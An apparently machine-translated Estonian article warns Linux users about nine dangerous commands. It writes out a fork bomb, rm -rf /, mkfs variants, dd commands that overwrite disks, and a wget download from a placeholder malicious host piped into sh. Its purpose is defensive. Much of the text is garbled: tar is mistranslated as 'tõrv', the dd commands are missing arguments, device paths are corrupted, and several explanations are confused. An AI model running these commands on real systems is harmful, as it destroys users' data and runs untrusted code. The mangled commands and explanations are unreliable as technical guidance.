Koduleht » Töölaud » 9 Linuxi käsud ja koodid, mida tuleb hoolikalt jälgida

    9 Linuxi käsud ja koodid, mida tuleb hoolikalt jälgida

    Linuxi shell / terminali käsud on väga võimsad ja lihtsalt lihtne käsk võib põhjustada ühe kausta, failide või juurkausta kustutamise jne.

    Mõnel juhul ei küsi Linux isegi kinnitust, vaid täidab kohe käsu, põhjustades teile kaotada väärtuslikke andmeid ja teavet salvestatud nendesse failidesse ja kaustadesse.

    On tavaline, et inimesed postitavad veebis sisu soovitada uutel Linuxi kasutajatel neid käske täita. See võib tunduda naljana keegi, kes on selle sisu postitanud, kuid teisel poolel pole selle jaoks naeruväärne.

    Oleme kogunud mõned Linuxi käsud, mis on teie süsteemile üsna kahjulikud, et aidata teil neid vältida. Pidage meeles, et nad on tõepoolest ohtlikud ja uusi käske saab isegi muuta mitmel viisil tekitada rohkem kahju.

    Oluline on see märkida mõned neist käskudest on ainult ohtlikud, kui need on eesliidestatud sudoga Ubuntu. Kuigi teistel Linuxi levitustel on enamik antud käske ohtlikuks, kui root.

    Heitke pilk 9 käsku ja koodi, mida tuleks vältida.

    1. Linux Fork Bomb Command

    : () : |: & ;: tuntud ka kui Fork Bomb on teenusepakkuja rünnak Linuxi süsteemi vastu. : () : |: & ;: on bash-funktsioon. Pärast täitmist, see kordub mitu korda, kuni süsteem külmub.

    Sellest saab vabaneda ainult süsteemi taaskäivitamisega. Nii et ole ettevaatlik selle käsu täitmisel oma Linuxi kestal.

    2. mv kaust / dev / null Käsk

    mv kaust / dev / null on teine ​​riskantne käsk. Null / null või null-seade on seadme fail, mis kõrvaldab kõik sellele kirjutatud andmed, kuid teatab, et kirjutamistoiming on edukalt teostatud. Seda tuntakse ka kui natuke nihutatud või must auk.

    3. rm -rf käsk

    rm -rf käsk on kiire viis kausta ja selle sisu kustutamiseks Linuxi operatsioonisüsteemis. Kui te ei tea, kuidas seda korralikult kasutada, võib see süsteemis väga ohtlikuks muutuda. Allpool on loetletud rm-rf-käsku kõige tavalisemad kombinatsioonid ja valikud.

    • rm käsku kasutatakse failide kustutamiseks Linuxis.
    • rm -f käsk eemaldab kausta kirjutuskaitstud failid ilma nõudmata.
    • rm -r käsk kustutab kausta sisu rekursiivselt.
    • rm -d käsku kasutatakse tühja kataloogi eemaldamiseks, kuid see keeldub kataloogi eemaldamisest, kui see pole tühi.
    • rm -rf / käsku kasutatakse sund kustutamiseks (see kustutab selle isegi siis, kui see on kirjutuskaitsega kaitstud) kõigist juurkataloogi ja alamkaustade sisust.
    • rm -rf * käsku kasutatakse kogu praeguse kataloogi sisu (kataloog, mida te praegu töötate) ja alamkataloogide sunnitud kustutamiseks.
    • rm -rf. käsku kasutatakse kõigi praeguse kausta ja alamkaustade sisu sundlikuks kustutamiseks. The rm -r. [^.] * saab kasutada ka käsku.
    • rm -i käsku kasutatakse failide ja kaustade eemaldamiseks, kuid enne eemaldamist ilmub käsk.

    4. mkfs käsk

    mkfs võib olla teie Linuxi süsteemile ohtlik käsk, kui te ei tea selle otstarvet. Midagi, mis on kirjutatud pärast mkfs vormistamist ja asendamist tühja Linuxi failisüsteemiga.

    Kõik allpool nimetatud käsud vormindavad kõvaketta ja vajavad administraatori õigusi:

    • mkfs
    • mkfs.ext3
    • mkfs.bfs
    • mkfs.ext2
    • mkfs.minix
    • mkfs.msdos
    • mkfs.reiserfs
    • mkfs.vfat

    Käsk mkfs.cramfs teeb sama, mis ülaltoodud, kuid ei nõua administraatori õigusi.

    5. Tar Bomb

    The tõrv käsku kombineeritakse mitu faili üheks failiks (arhiveeritud fail) .tõrv vormingus. Selle käsuga saab luua lindi arhiivi (tar) pommi.

    see on arhiivifail, mis plahvatab tuhandetesse või miljonitesse failidesse praeguste kataloogide olemasolevate failidega sarnaste nimedega selle asemel, et uut kataloogi, kui seda ei kasutata.

    Sa võid vältida tõrvapommi ohvriks saamist luues korrapäraselt uue kaitsekataloogi, kui sa saad tar-faili ja seejärel liigutatakse vastuvõetud tar-fail sellesse kataloogi enne tühistamist.

    Kui tõrvafail on tõepoolest tõrvepomm, siis saate lihtsalt eemaldatud äsja loodud kataloogi eemaldada. Teine viis tõrva pommi plahvatuse vältimiseks on läbi the -t võimalus loetleda terve tõrvafaili sisu anda teile ettekujutus tar-failis sisalduva sisu tüübist.

    6. dd käsk

    The dd käsk on harjunud kõvaketta partitsioonide kopeerimine ja teisendamine. Kuid see võib osutuda kahjulikuks, kui määrate vale sihtkoha.

    Käsk võib olla üks järgmistest:

    • dd if = / dev / hda = / dev / hdb
    • dd if = / dev / hda = / dev / sdb
    • dd if = midagi = / dev / hda
    • dd if = midagi = / dev / sda

    Järgmine käsk nullib kogu primaarse kõvaketta: dd if = / dev / null = / dev / oli

    7. Shelli skripti kood

    Keegi võib teid ohverdada annab sulle lingi skriptile ja kinnitab selle allalaadimise ja täitmise. Skript võib sisaldada mõningaid pahatahtlikke või ohtlikke koode. The käsu vorming võib näida välja selline: wget http: // some_malicious_source -O- | sh. The wget laadib skripti alla, kui skript käivitab skripti.

    8. Pahatahtlik lähtekood

    Keegi annab teile lähtekoodi ja palub teil selle kompileerida. Kood võib tunduda tavaline kood, kuid tegelikult on mõned pahatahtlikud koodid varjatud suure lähtekoodiga ja see võib teie süsteemi kahjustada. Et vältida seda tüüpi rünnaku ohvriks langemist, aktsepteerige ja koosta ainult lähtekoodi usaldusväärsetest allikatest.

    9. Dekompressioonipomm

    Olete saanud tihendatud faili ja teil palutakse väljavõtte see fail, mis näib olevat väga väike, kuid võib olla mõni KB. Tegelikult, see väike suurusega kokkusurutud fail sisaldab väga tihendatud andmeid.

    Kui fail on dekompresseeritud, eraldatakse sadu GB andmeid saate oma kõvaketta täita teie süsteemi jõudluse vähendamiseks. Selle olukorra vältimiseks pidage alati meeles, et aktsepteerite usaldusväärsetest allikatest pärinevaid andmeid.